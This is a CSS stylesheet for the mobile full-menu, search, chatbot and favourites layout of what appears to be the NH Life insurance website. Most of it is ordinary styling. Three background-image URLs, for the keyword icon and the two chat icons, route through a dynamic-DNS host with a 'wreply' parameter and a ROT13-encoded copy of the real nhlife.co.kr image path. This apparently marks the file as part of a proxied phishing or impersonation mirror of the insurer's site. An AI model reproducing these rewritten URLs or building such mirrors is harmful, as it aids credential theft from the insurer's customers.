@charset "utf-8";

/*메뉴검색*/
.nhlife_modal .menuSearchPopup{z-index:1}
.nhlife_modal .menuSearchPopup .newNHLife_wrap{height:100%;padding:0}
.menuSearch_wrap{position:relative;padding-top:var(--size60)}
.menuSearch_wrap > .frmGroup{position:absolute;top:calc(var(--size24) * -1);left:calc(var(--size24) * -1);right:calc(var(--size24) * -1);padding:var(--size20) var(--size24);background:var(--color_base01)}
.menuSearch_wrap .form_item{margin:0}
.menuSearch_wrap .form_item label{}
.menuSearch_wrap .form_item .input{padding:0 !important}
.menuSearch_wrap .form_item .ipt_txt{border-bottom:1px solid rgba(255,255,255,.3);background:transparent;color:var(--color_white)}
.menuSearch_wrap .form_item .ipt_txt:focus{border-color:var(--color_white)}
.menuSearch_wrap .form_item .iptDel > span{border-color:var(--color_white);box-shadow: 0 0 0 var(--size10) var(--color_white) inset}
.menuSearch_wrap .form_item .iptDel > span:before,.menuSearch_wrap .form_item .iptDel > span:after{background:var(--color_base01)}
.menuSearch_wrap .form_item .iptDel > span:hover{box-shadow:0 0 0 0 var(--color_white) inset}
.menuSearch_wrap .form_item .iptDel > span:hover:before,.menuSearch_wrap .form_item .iptDel > span:hover:after{background:var(--color_white)}
.popularKeyword{margin:0 calc(var(--size20) * -1) var(--size24);text-align:center}
.popularKeyword > h4{margin-top:var(--size20)}
.popularKeyword.none,.popularKeyword_lst.none{display:none}
.popularKeyword_lst{display:inline-flex;flex-wrap:wrap;margin:calc(var(--size8) * -1) calc(var(--size4) * -1) 0;justify-content:center}
.popularKeyword_lst > li{flex:0;margin:var(--size4)}
.popularKeyword_lst > li:nth-child(5) ~ li{display:none}
.popularKeyword_lst a{display:block;padding:var(--size4) var(--size12);border:1px solid var(--color_gray10);border-radius:var(--size16);background:var(--color_white);font-size:var(--fsize2);line-height:var(--lineHeight1);color:var(--color_gray03);text-align:center;white-space:nowrap}
.popularKeyword_lst a > span{font-size:inherit;line-height:inherit;color:inherit}
.popularKeyword_lst a > span:before{content:"#"}
.popularKeyword_lst.fullPopular{justify-content:inherit}
.popularKeyword_lst.fullPopular > li{flex:0 0 100%;margin:0;padding:0 var(--size20);border-bottom:1px solid var(--color_gray12)}
.popularKeyword_lst.fullPopular a{padding:var(--size10) 0;border-color:var(--color_white);border-radius:0;text-align:left}
.popularKeyword_lst.fullPopular a > span{display:block;position:relative;padding-left:var(--size24)}
.popularKeyword_lst.fullPopular a > span:before{position:absolute;top:calc(var(--size2) * -1);left:calc(var(--size2) * -1);width:var(--size24);height:var(--size24);background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sz.auyvsr.pb.xe%2Svzntrf%2Sauyvsr_vpb.fit%3Sire%3Q20220810) no-repeat;background-size:calc(var(--size24) * 20) auto;background-position:calc(var(--size24) * -6) calc(var(--size24) * -7);content:""}
.popularKeyword_lst.fullPopular > li:nth-child(5) ~ li{display:block}
.menuSCHResult_wrap{position:relative;padding:var(--size30) var(--size24) 0;margin:0 calc(var(--size24) * -1)}/*border-bottom:1px solid var(--color_gray11)*/
.menuSCHResult_wrap{padding-bottom:calc(env(safe-area-inset-bottom) / 2) !important;padding-bottom:calc(constant(safe-area-inset-bottom) / 2) !important}
.menuSCHResult_wrap:before{position:absolute;top:0;left:0;right:0;height:var(--size10);border-top:1px solid var(--color_gray10);background:var(--color_gray15);content:""}
.menuSCHResult_wrap  h4{margin-bottom:var(--size30);text-align:center}
.menuSCHResult_wrap  h4 > em{font-weight:inherit;font-size:inherit;line-height:inherit;color:var(--color_base01)}
.menuSCHResult_list{margin:var(--size16) calc(var(--size24) * -1)}
.menuSCHResult_list h5{padding:var(--size8) var(--size24);background:var(--color_lightBlue2)}
.menuSCHResult_list h5 > em{font-weight:inherit;font-size:inherit;line-height:inherit;color:var(--color_base01)}
.menuSCHResult_list > ul{display:flex;flex-direction:column}
.menuSCHResult_list > ul > li{padding:var(--size12) 0;border-bottom:1px solid var(--color_gray11)}
.menuSCHResult_list > ul > li + li{}
.menuSCHResult_list a{display:block;position:relative;padding:0 var(--size24)}
.menuSCHResult_list a:before{position:absolute;top:var(--size6);right:var(--size6);width:var(--size10);height:var(--size10);margin-top:calc(var(--size3) * -1);border:solid var(--color_gray03);border-width:1px 1px 0 0;transform:rotate(45deg);-webkit-transform:rotate(45deg);transform-origin:left top;-webkit-transform-origin:left top;content:""}
.menuSCHResult_list .highlight{font-weight:var(--fweight700) !important;font-size:inherit;line-height:inherit;color:var(--color_base01) !important}
.menuSCHResult_list strong{display:block;font-weight:var(--fweight400);font-size:var(--fsize1);line-height:var(--lineHeight5);color:var(--color_gray03)}
.menuSCHResult_list .location{display:block;margin-top:var(--size4);font-weight:var(--fweight500);font-size:var(--fsize4);line-height:var(--lineHeight7);color:var(--color_gray05)}
.menuSCHResult_list .location > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.menuSCHResult_list [id*="searchWrddicList"] .location{font-size:var(--fsize5);color:var(--color_gray03)}

/*전체메뉴*/
.tmDimmed{position:fixed;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.7);opacity:.6;z-index:200}
.totalMenu{position:fixed;top:0;right:-100%;bottom:0;width:100%;height:100%;background:var(--color_white);padding-top:var(--size64);opacity:1;transition:right .3s ease;-webkit-transition:right .3s ease;z-index:200}
.totalMenu,.totalMenu *,.totalMenu *:before,.totalMenu,.totalMenu *,.totalMenu *:after{box-sizing:border-box}
.totalMenu_header{position:absolute;top:0;left:0;right:0;flex:none;height:var(--size64);padding:0 var(--size24);background:var(--color_white);z-index:2}
.totalMenu_header{height:calc(4.0rem + env(safe-area-inset-top));height:calc(4.0rem + constant(safe-area-inset-top));padding-top:env(safe-area-inset-top);padding-top:constant(safe-area-inset-top)}
.totalMenu_header > h2{display:flex;flex-direction:column;justify-content:center;height:100%;border-bottom:1px solid var(--color_gray10);font-weight:var(--fweight500);font-size:var(--fsize3);line-height:var(--lineHeight1);color:var(--color_gray03)}
.totalMenu_header > h2 > a{display:block;max-width:var(--size96);font-weight:var(--fweight700);font-size:var(--hfsize4);line-height:inherit;color:var(--color_gray01)}
.totalMenu_header > h2 > a > span{display:inline-flex;position:relative;padding-right:var(--size10);font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit;vertical-align:top}
.totalMenu_header > h2 > a > span:before{position:absolute;top:0;right:0;width:var(--size10);height:var(--size10);margin-top:var(--size5);border:solid var(--color_gray03);border-width:1px 1px 0 0;transform:scaleX(1) rotate(45deg);-webkit-transform:scaleX(1) rotate(45deg);transform-origin:center center;-webkit-transform-origin:center center;content:""}
.totalMenu_header > h2 > a > span > em{display:inline-flex;position:relative;font-weight:inherit;font-size:inherit;line-height:inherit;color:var(--color_base01)}
.totalMenu_header > h2 > a > span > em:before{poaition:absolute;bottom:0;left:0;right:0;height:1px;background:var(--color_base01);content:""}
.totalMenu_header > h2 > a.btnGoLogin{font-weight:var(--fweight400);font-size:var(--fsize2)}
.totalMenu_header > h2 > a.btnGoLogin > span{padding:var(--size4) var(--size12) var(--size4) var(--size36);border:1px solid var(--color_gray10);border-radius:var(--size16)}
.totalMenu_header > h2 > a.btnGoLogin > span:before{display:none}
.totalMenu_header > h2 > a.btnGoLogin .nhlife_ico{position:absolute;top:50%;left:var(--size10);margin-top:-1px;transform:translateY(-50%);-webkit-transform:translateY(-50%)}
.totalMenu_header > h2 > a.btnGoLogin .nhlife_ico,.totalMenu_header > h2 > a.btnGoLogin .nhlife_ico:before{--sizeFix:var(--size26)}
.totalMenu_header > h2 > span{font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.totalMenu_header > .tmUtilQuick_lst{display:flex;position:absolute;top:var(--size10);right:var(--size48);height:var(--size40);margin-top:env(safe-area-inset-top);margin-top:constant(safe-area-inset-top)}
.totalMenu_header > .tmUtilQuick_lst > li{flex:1}
.totalMenu_header > .tmUtilQuick_lst button{display:block;width:var(--size40);height:var(--size40);padding:0}
.totalMenu_header > .tmUtilQuick_lst .nhlife_ico,.totalMenu_header > .tmUtilQuick_lst .nhlife_ico:before{--sizeFix:2.1875rem}
.totalMenu_header > .tmUtilQuick_lst .nhlife_ico{margin:0 auto}
.totalMenu_header > .tmUtilQuick_lst .active .nhlife_ico.no164:after{position:absolute;top:1px;right:var(--size6);width:var(--size10);height:var(--size10);border-radius:50%;background:var(--color_error);content:""}
.totalMenu_header > .logout{display:flex;position:absolute;top:var(--size10);right:var(--size128);height:var(--size40);margin-top:env(safe-area-inset-top);margin-top:constant(safe-area-inset-top)}
.totalMenu_header > .logout > a{display:flex;padding:var(--size10) var(--size8);font-weight:var(--fweight500);font-size:var(--fsize2);line-height:var(--lineHeight5);color:var(--color_gray03)}
.totalMenu_header > .logout > a > span{display:flex;align-items:center;position:relative}
.totalMenu_header > .logout > a .nhlife_ico,.totalMenu_header > .logout > a .nhlife_ico:before{--sizeFix:1.5rem}
.totalMenu_header > .logout > a .nhlife_ico{margin:calc(var(--size2) * -1) var(--size4) 0 0}
.totalMenu_wrap{display:flex;flex-direction:column;flex-wrap:nowrap;position:relative;height:100%;overflow:auto;scroll-behavior:smooth}
.totalMenu_wrap{height:calc(100% - env(safe-area-inset-top));height:calc(100% - constant(safe-area-inset-top));margin-top:env(safe-area-inset-top);margin-top:constant(safe-area-inset-top)}
.tmUtilMymenu{}
#mWebMenu .tmUtilMymenu{background:var(--color_lightBlue3)}
.tmUtil_lst{display:flex;padding:0 var(--size24)}
.tmUtil_lst > li{flex:1}
.tmUtil_lst button{display:block;width:100%;padding:var(--size10) 0;font-size:var(--fsize4);line-height:var(--lineHeight5);color:var(--color_gray03);text-align:center}
.tmUtil_lst button > span{display:block;position:relative;font-size:inherit;line-height:inherit;color:inherit}
.tmUtil_lst button > span > .nhlife_ico{margin:0 auto}
.tmUtil_lst button > span > .nhlife_ico,.totalMenuUtil_lst button > span > .nhlife_ico:before{--sizeFix:2.0rem}
.tmMyMenu_wrap{position:relative;padding:var(--size16) var(--size24);background:var(--color_lightBlue3)}
.tmMyMenu_wrap > h3{font-weight:var(--fweight700);font-size:var(--fsize3);line-height:var(--lineHeight1);color:var(--color_gray04)}
.tmMyMenu_wrap .myMenu_lst{margin-top:var(--size6)}
.tmMyMenu_wrap .myMenu_lst > li{}
.tmMyMenu_wrap .myMenu_lst button{display:block;width:100%;padding:var(--size6) 0;font-weight:var(--fweight700);font-size:var(--fsize1);line-height:var(--lineHeight5);color:var(--color_gray01);text-align:left}
.tmMyMenu_wrap .myMenu_lst button > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.tmMyMenu_wrap .recentMenu{display:block;position:relative;height:var(--size32);margin-top:var(--size6)}
.tmMyMenu_wrap .recentMenu:before{position:absolute;top:0;left:var(--size24);width:var(--size36);height:100%;background:linear-gradient(to right, #f0f4f7, transparent 75%);background:-webkit-linear-gradient(to right, #f0f4f7, rgba(240,244,247,0) 75%);content:""}
.tmMyMenu_wrap .recentMenu > strong{position:absolute;top:0;left:0;height:100%;padding:var(--size6) var(--size6) var(--size6) 0;background:var(--color_lightBlue3);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_gray04)}
.tmMyMenu_wrap .recentMenu > strong > span{display:block;position:relative;background:var(--color_lightBlue3);font-size:inherit;line-height:inherit;color:inherit}
.tmMyMenu_wrap .recentMenu_lst{display:flex;flex-wrap:nowrap;padding-left:var(--size32);overflow-x:auto}
.tmMyMenu_wrap .recentMenu_lst > li{flex:0 0 auto;padding:0 var(--size3)}
.tmMyMenu_wrap .recentMenu_lst button{display:block;height:var(--size32);padding:var(--size6) var(--size12);border:1px solid var(--color_gray10);border-radius:var(--size16);background:var(--color_white);font-size:var(--fsize3);line-height:var(--lineHeight7);color:var(--color_gray04)}
.tmMyMenu_wrap .recentMenu_lst button > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.tmMyMenu_wrap .majorMenuEdit{position:absolute;top:var(--size12);right:var(--size56)}
.tmMyMenu_wrap .majorMenuEdit > button{display:block;padding:var(--size5) var(--size12);background:var(--color_gray06);border-radius:var(--size32);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_white)}
.tmMyMenu_wrap .majorMenuEdit > button > span{display:block;position:relative;padding-left:var(--size24);font-size:inherit;line-height:inherit;color:inherit}
.tmMyMenu_wrap .majorMenuEdit > button .nhlife_ico{position:absolute;top:calc(var(--size2) * -1);left:calc(var(--size2) * -1)}
.tmMyMenu_wrap .majorMenuEdit > button .nhlife_ico,.tmMyMenu_wrap .majorMenuEdit > button .nhlife_ico:before{--sizeFix:1.5rem}
.tmMyMenu_wrap .btnMyMenuDetail{position:absolute;top:var(--size12);right:var(--size24)}
.tmMyMenu_wrap .btnMyMenuDetail > a{display:block;padding:var(--size4);border:1px solid var(--color_gray10);border-radius:var(--size32);background:var(--color_white)}
.tmMyMenu_wrap .btnMyMenuDetail > a .nhlife_ico,.tmMyMenu_wrap .btnMyMenuDetail > a .nhlife_ico:before{--sizeFix:1.25rem}
.tmMyMenu_wrap.short{}
.tmMyMenu_wrap.short .myMenu_lst{display:flex;flex-wrap:nowrap;margin:var(--space8) calc(var(--size3) * -1) 0;overflow-x:auto}
.tmMyMenu_wrap.short .myMenu_lst > li{flex:0 0 auto;padding:0 var(--size3)}
.tmMyMenu_wrap.short .myMenu_lst > li button{display:block;height:var(--size36);padding:var(--size8) var(--size12);border:1px solid var(--color_gray10);border-radius:var(--size18);background:var(--color_white);font-weight:var(--fweight500);font-size:var(--fsize3);line-height:var(--lineHeight7);color:var(--color_gray04)}
.tmMyMenu_wrap.short .recentMenu,.tmMyMenu_wrap.short .majorMenuEdit{display:none}
.tmQuickBtn{position:absolute;top:-100%;left:0;right:0;display:flex;background:var(--color_white);transition:top .5s ease;-webkit-transition:top .5s ease;z-index:1}/*border-bottom:1px solid var(--color_gray10);*/
.tmQuickBtn:before{display:none;position:absolute;bottom:0;left:0;right:0;height:var(--size16);box-shadow:0 var(--size8) var(--size8) 0 var(--color_gray12);opacity:.3;content:""}
.tmQuickBtn{margin-top:env(safe-area-inset-top);margin-top:constant(safe-area-inset-top)}
.tmQuickBtn.current{top:var(--size64)}
.tmQuickBtn .tmQuickBtnList_wrap{position:relative;padding:var(--size16) var(--size24);overflow-x:auto;scroll-behavior:smooth}
.tmQuickBtn .tmQuickBtn_lst{display:flex;margin:0 calc(var(--size4) * -1)}
.tmQuickBtn .tmQuickBtn_lst > li{flex:0 0 auto;padding:var(--size4)}
.tmQuickBtn .tmQuickBtn_lst > li:last-child{padding-right:var(--size80)}
.tmQuickBtn .tmQuickBtn_lst .title{display:none;flex:0 0 100%}
.tmQuickBtn .tmQuickBtn_lst .title ~ .title{margin-top:var(--size12)}
.tmQuickBtn .tmQuickBtn_lst strong{display:block;font-weight:var(--fweight700);font-size:var(--fsize2);line-height:var(--lineHeight1);color:var(--color_gray01)}
.tmQuickBtn .tmQuickBtn_lst a{display:block;padding:var(--size8) var(--size12);border:1px solid var(--color_gray10);border-radius:var(--size18);background:var(--color_white);font-size:var(--fsize3);line-height:var(--lineHeight7);color:var(--color_gray04)}
.tmQuickBtn .tmQuickBtn_lst a > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.tmQuickBtn .tmQuickBtn_lst a.active{background:var(--color_gray04);color:var(--color_white)}
.tmQuickBtn .btnQuickDetail{position:absolute;top:var(--size16);right:0;width:var(--size64);height:var(--size44);padding:var(--size4);padding-right:var(--size24);background:var(--color_white)}
.tmQuickBtn .btnQuickDetail:before{position:absolute;top:0;right:var(--size60);width:var(--size32);height:100%;background:linear-gradient(to left, #fff, transparent 100%);background:-webkit-linear-gradient(to left, #fff, rgba(240,244,247,0) 100%);content:""}
.tmQuickBtn .btnQuickDetail > a{display:block;position:relative;width:var(--size36);height:var(--size36);padding:var(--size8);border:1px solid var(--color_gray10);border-radius:var(--size32);background:var(--color_gray12)}
.tmQuickBtn .btnQuickDetail > a .icon{display:block;position:relative;width:var(--size18);height:var(--size18)}
.tmQuickBtn .btnQuickDetail > a .icon:before,.tmQuickBtn .btnQuickDetail > a .icon:after{position:absolute;top:var(--size8);width:var(--size12);height:var(--size2);border-radius:var(--size2);background:var(--color_gray04);transition:transform .3s ease;-webkit-transition:transform .3s ease;content:""}
.tmQuickBtn .btnQuickDetail > a .icon:before{left:var(--size7);transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.tmQuickBtn .btnQuickDetail > a .icon:after{left:0;transform:rotate(45deg);-webkit-transform:rotate(45deg)}
.tmQuickBtn.active{flex-wrap:wrap;background:var(--color_lightBlue3)}
.tmQuickBtn.active .tmQuickBtnList_wrap{padding-top:var(--size16);padding-bottom:var(--size16)}
.tmQuickBtn.active .tmQuickBtn_lst{flex-wrap:wrap}
.tmQuickBtn.active .tmQuickBtn_lst .title{display:block;padding:0 var(--size4)}
.tmQuickBtn.active .btnQuickDetail{background:var(--color_lightBlue3)}
.tmQuickBtn.active .btnQuickDetail:before{opacity:0}
.tmQuickBtn.active .btnQuickDetail > a .icon:before{transform:rotate(45deg);-webkit-transform:rotate(45deg)}
.tmQuickBtn.active .btnQuickDetail > a .icon:after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.totalMenu_body{display:flex;flex-direction:column;padding:var(--size8) var(--size24)}
.totalMenu_body > h4{position:relative;margin:var(--space16) 0 0;font-weight:var(--fweight400);font-size:var(--fsize2);line-height:var(--lineHeight1);color:var(--color_gray01);text-align:center}
.totalMenu_body > h4:before{position:absolute;top:50%;left:0;right:0;height:1px;margin-top:calc(var(--size2) * -1);background:var(--color_gray11);content:""}
.totalMenu_body > h4 > span{display:inline-flex;position:relative;padding:0 var(--size8);background:var(--color_white);font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.totalMenuDepth_wrap{padding:0 0 var(--size8)}
.totalMenuDepth_wrap + .totalMenuDepth_wrap{border-top:1px solid var(--color_gray11)}
.totalMenuDepth_wrap .btnSubMain{border-bottom:1px solid var(--color_gray11)}
.totalMenuDepth_wrap .btnSubMain > button{display:flex;width:100%;padding:var(--size14) 0;font-weight:var(--fweight500);font-size:var(--fsize1);line-height:var(--lineHeight1);color:var(--color_gray01)}
.totalMenuDepth_wrap .btnSubMain > button > span{display:inline-flex;position:relative;padding-right:var(--size8);font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.totalMenuDepth_wrap .btnSubMain > button > span:before{position:absolute;top:0;right:0;width:var(--size8);height:var(--size8);margin-top:var(--size6);border:solid var(--color_gray03);border-width:1px 1px 0 0;transform:scaleX(1) rotate(45deg);-webkit-transform:scaleX(1) rotate(45deg);transform-origin:center center;-webkit-transform-origin:center center;content:""}
.totalMenuDepth_wrap > h5{position:relative;margin:var(--size16) 0 var(--size6);font-weight:var(--fweight500);font-size:var(--fsize2);line-height:var(--lineHeight1);color:var(--color_gray04)}
.totalMenuDepth_lst{}
.totalMenuDepth_lst > li{}
.totalMenuDepth_lst button{display:flex;width:100%;padding:var(--size10) 0;font-weight:var(--fweight700);font-size:var(--fsize1);line-height:var(--lineHeight1);color:var(--color_gray01);text-align:left}
.totalMenuDepth_lst button > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.totalMenuDepth_lst button.active{color:var(--color_base01)}
.totalMenuDepth2_lst{display:none}
.totalMenuDepth2_lst > li{}
.totalMenuDepth2_lst button{font-weight:var(--fweight500)}
.totalMenu_footer{display:flex;flex-direction:column;position:relative;padding:var(--size10) var(--size24) var(--size24)}
.totalMenu_footer{margin-bottom:calc(env(safe-area-inset-top) / 2);margin-bottom:calc(constant(safe-area-inset-top) /2)}
.totalMenu_footer:before{position:absolute;top:0;left:0;right:0;height:var(--size10);border-top:1px solid var(--color_gray10);background:var(--color_gray15);content:""}
.totalMenu_footer > strong{display:block;margin:var(--space16) 0 var(--space8);font-weight:var(--fweight700);font-size:var(--fsize2);line-height:var(--lineHeight1);color:var(--color_gray04)}
.totalMenu_footer .totalMenuSNS_lst{display:flex}
.totalMenu_footer .totalMenuSNS_lst > li{flex:0 0 auto}
.totalMenu_footer .totalMenuSNS_lst > li + li{margin-left:var(--size6)}
.totalMenu_footer .totalMenuSNS_lst a{display:block}
.totalMenu_footer .totalMenuSNS_lst > li.verPC{max-width:var(--size60);padding-top:var(--size6);margin-left:auto}
.totalMenu_footer .totalMenuSNS_lst > li.verPC > a{width:var(--size60);height:var(--size28);text-align:center}
.totalMenu_footer .totalMenuSNS_lst > li.verPC > a > span{display:block;width:100%;height:100%;padding:var(--size2) 0;border:2px solid var(--color_gray05);border-radius:var(--size16);background:var(--color_gray05);font-weight:var(--fweight400);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_white)}
.totalMenu_footer .totalMenuSNS_lst .nhlife_ico,.totalMenu_footer .totalMenuSNS_lst .nhlife_ico:before{--sizeFix:var(--size40)}
.totalMenu_footer .footCopyright{margin-top:var(--space16);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_gray06)}
.totalMenu_footer .footCopyright *{font-size:inherit;line-height:inherit;color:inherit}
.totalMenu_footer .footCopyright > span{display:block}
.totalMenu_footer .footCopyright > span > em + em{margin-left:var(--size8)}
.totalMenu_footer .footCopyright > span.copyright{margin-top:var(--size4);letter-spacing:0}
.totalMenu_footer .footCopyright > span.address{position:relative;padding-left:var(--size36);word-break:keep-all;overflow-wrap:break-word}
.totalMenu_footer .footCopyright > span.address > em{position:absolute;top:0;left:0}
.totalMenu_footer .recentConnect{margin-top:var(--size12);font-size:var(--fsize4);line-height:var(--lineHeight7);color:var(--color_gray03)}
.totalMenu_footer .recentConnect > em{display:inline-flex;font-weight:var(--fweight700);font-size:var(--fsize3);line-height:inherit;color:inherit}
.totalMenu_footer .logout{margin-top:var(--size12)}
.totalMenu_footer .logout > a{display:inline-flex;padding:0 var(--size16);border:1px solid var(--color_gray10);border-radius:var(--size6);background:var(--color_gray14);font-weight:var(--fweight500);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_gray03);text-align:left}
.totalMenu_footer .logout > a > span{display:block;position:relative;padding-right:var(--size12);margin:var(--size6) 0 var(--size4)}
.totalMenu_footer .logout > a > span:before{position:absolute;top:50%;right:calc(var(--size2) * -1);width:var(--size8);height:var(--size8);margin-top:calc(var(--size2) * -1);border:solid var(--color_gray07);border-width:1px 1px 0 0;transform:translateY(-50%) rotate(45deg);-webkit-transform:translateY(-50%) rotate(45deg);transform-origin:left top;-webkit-transform-origin:left top;content:""}
/*인증마크*/
.totalMenu_footer .certMark_lst{display:flex;margin-top:var(--size12);padding-top:var(--size12);border-top:1px dashed var(--color_gray11)}
.totalMenu_footer .certMark_lst > li{flex:0 0 auto}
.totalMenu_footer .certMark_lst > li + li{margin-left:var(--size12)}
.totalMenu_footer .certMark_lst a{display:block}
.totalMenu_footer .certMark_lst .certMark_ico,.totalMenu_footer .certMark_lst .certMark_ico:before{--sizeFix:var(--size44)}
/*챗봇*/
.floatChat{position:absolute;bottom:var(--size40);right:var(--size24)}
.floatChat{margin-bottom:calc(env(safe-area-inset-top) / 2);margin-bottom:calc(constant(safe-area-inset-top) /2)}
.floatChat_wrap{height:var(--size56)}
.floatChat_wrap .floatChatIcon{display:flex;align-items:center;position:relative;height:100%;padding-right:var(--size56)}
.floatChat_wrap .ico_floatChat{position:absolute;top:0;right:calc(var(--size6) * -1);width:var(--size70);height:var(--size60);background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sz.auyvsr.pb.xe%2Svzntrf%2Svpb_sybngPung.cat);background-size:auto var(--size60);z-index:1}
.floatChat_wrap .msg_wrap{display:none;position:relative;height:var(--size44);overflow:hidden}
.floatChat_wrap .msg{display:block;padding:var(--size12) var(--size24);border-radius:var(--size24) 0 0 var(--size24);background:var(--color_blue6);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_white);white-space:nowrap}
.floatChat_wrap .msg > em{font-size:inherit;line-height:inherit;color:var(--color_base09)}
.totalMenu_close{position:absolute;top:var(--size8);right:var(--size8);width:var(--size40);height:var(--size40);z-index:3}
.totalMenu_close{margin-top:env(safe-area-inset-top);margin-top:constant(safe-area-inset-top)}
.totalMenu_close > a{display:block;width:100%;height:100%;padding:0}
.totalMenu_close .i_close{position:absolute;top:0;right:0;bottom:0;left:0}
.totalMenu_close .i_close:before,.totalMenu_close .i_close:after{position:absolute;top:50%;left:50%;width:var(--size30);height:var(--size2);margin-top:-1px;margin-left:-.9375rem;background:var(--color_gray01);transition:transform .3s;-webkit-transition:transform .3s;content:""}
.totalMenu_close .i_close:before{transform:rotate(45deg);-webkit-transform:rotate(45deg)}
.totalMenu_close .i_close:after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.totalMenu_close .i_close:hover:before{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.totalMenu_close .i_close:hover:after{transform:rotate(45deg);-webkit-transform:rotate(45deg)}

/*자주쓰는메뉴*/
.editMenu_wrap{position:relative;margin:calc(var(--size24) * -1) calc(var(--size24) * -1) var(--size30);padding:var(--size20) var(--size24);background:var(--color_gray13)}
.editMenu_wrap .editMenu_desc{position:relative}
.editMenu_wrap .li_th1 > li{margin-bottom:0;font-size:var(--fsize3);line-height:var(--lineHeight2);color:var(--color_gray03)}
.editMenu_wrap .editBasicMn{position:absolute;bottom:calc(var(--size2) * -1);right:0}
.editMenu_wrap .editBasicMn > a{display:block;padding:var(--size2) var(--size6);border:1px solid var(--color_gray08);border-radius:var(--size4);background:var(--color_gray16)}
.editMenu_wrap .editBasicMn span{display:block;position:relative;padding-left:var(--size20);font-size:var(--fsize4);line-height:var(--lineHeight5);color:var(--color_gray05)}
.editMenu_wrap .editBasicMn span .nhlife_ico{position:absolute;top:0;left:0}
.frequentUseMenu_lst{display:flex;flex-wrap:wrap;width:calc(100% + var(--size4));margin:var(--size6) calc(var(--size2) * -1) 0;counter-reset:numCounter}
.frequentUseMenu_lst > li{flex:1 1 50%;padding:var(--size4) var(--size2) 0}
.frequentUseMenu_lst .favorite_item{display:flex;position:relative;border:1px solid var(--color_gray10);border-radius:var(--size6);background:var(--color_white)}
.frequentUseMenu_lst a:first-child{flex:1 1  auto;display:block;min-width:0;padding:var(--size10) var(--size12) var(--size8);padding-right:var(--size30)}
.frequentUseMenu_lst a:first-child > span{display:block;position:relative;padding-left:var(--size12);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_gray03);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.frequentUseMenu_lst a:first-child > span:before{position:absolute;top:0;left:0;counter-increment:numCounter;content:counter(numCounter)"."}
.frequentUseMenu_lst .favClose{position:absolute;top:var(--size4);right:0;width:var(--size30);height:var(--size30);padding:var(--size6)}
.frequentUseMenu_lst .favClose > span{display:block;position:relative;width:100%;height:100%;font-size:0;line-height:0}
.frequentUseMenu_lst .favClose > span:before,.frequentUseMenu_lst .favClose > span:after{position:absolute;top:50%;left:50%;width:var(--size16);height:1px;margin-top:-1px;margin-left:calc(var(--size8) * -1);background:var(--color_gray04);transition:transform .3s;-webkit-transition:transform .3s;content:""}
.frequentUseMenu_lst .favClose > span:before{transform:rotate(45deg);-webkit-transform:rotate(45deg)}
.frequentUseMenu_lst .favClose > span:after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.frequentUseMenu_lst .favClose:hover > span:before{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}
.frequentUseMenu_lst .favClose:hover > span:after{transform:rotate(45deg);-webkit-transform:rotate(45deg)}
.frequentUseMenuSet{border:1px solid var(--color_gray10);border-radius:var(--size16);overflow:hidden}
.frequentUseMenuSet .form_item{margin-bottom:var(--size12)}
.frequentUseMenuSet .form_item > label{padding:.625rem var(--size24);background:var(--color_gray14);font-weight:var(--fweight700);font-size:var(--fsize1);color:var(--color_gray01)}
.frequentUseMenuSet .form_item .input{flex-wrap:wrap;padding:0 var(--size24)}
.frequentUseMenuSet .form_item .input > span{flex:0 0 50%}
.frequentUseMenuSet .checkbox.basicType{margin:0}
.frequentUseMenuSet .checkbox.basicType > label{margin:var(--size4) 0}
/*검색-챗봇*/
.chatIcon_wrap{display:flex;align-items:center;position:absolute;bottom:var(--size20);left:0;right:0;height:var(--size50);padding:0 var(--size24)}
.chatIcon_wrap{margin-bottom:calc(env(safe-area-inset-bottom) / 4);margin-bottom:calc(constant(safe-area-inset-bottom) / 4)}
.chatIcon_wrap .chatIcon{display:flex;align-items:center;position:relative;width:100%;height:100%;padding:var(--size4) var(--size16);padding-left:var(--size60);border:1px solid var(--color_gray10);border-radius:var(--size26);background:var(--color_lightBlue2)}
.chatIcon_wrap .ico_floatChat{position:absolute;top:var(--size4);left:var(--size10);width:var(--size46);height:var(--size40);background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sz.auyvsr.pb.xe%2Svzntrf%2Svpb_sybngPung.cat);background-size:auto var(--size40)}
.chatIcon_wrap .chatIcon > span{display:flex;align-items:center;position:relative;width:100%;padding-right:var(--size12);font-size:var(--fsize2);line-height:var(--lineHeight5);color:var(--color_gray03);text-align:left;word-break:keep-all;overflow-wrap:break-word}
.chatIcon_wrap .chatIcon > span:before{position:absolute;top:50%;right:0;width:var(--size8);height:var(--size8);margin-top:calc(var(--size2) * -1);border:solid var(--color_gray04);border-width:1px 1px 0 0;transform:translateY(-50%) rotate(45deg);-webkit-transform:translateY(-50%) rotate(45deg);transform-origin:left top;-webkit-transform-origin:left top;content:""}

/*리뉴얼*/
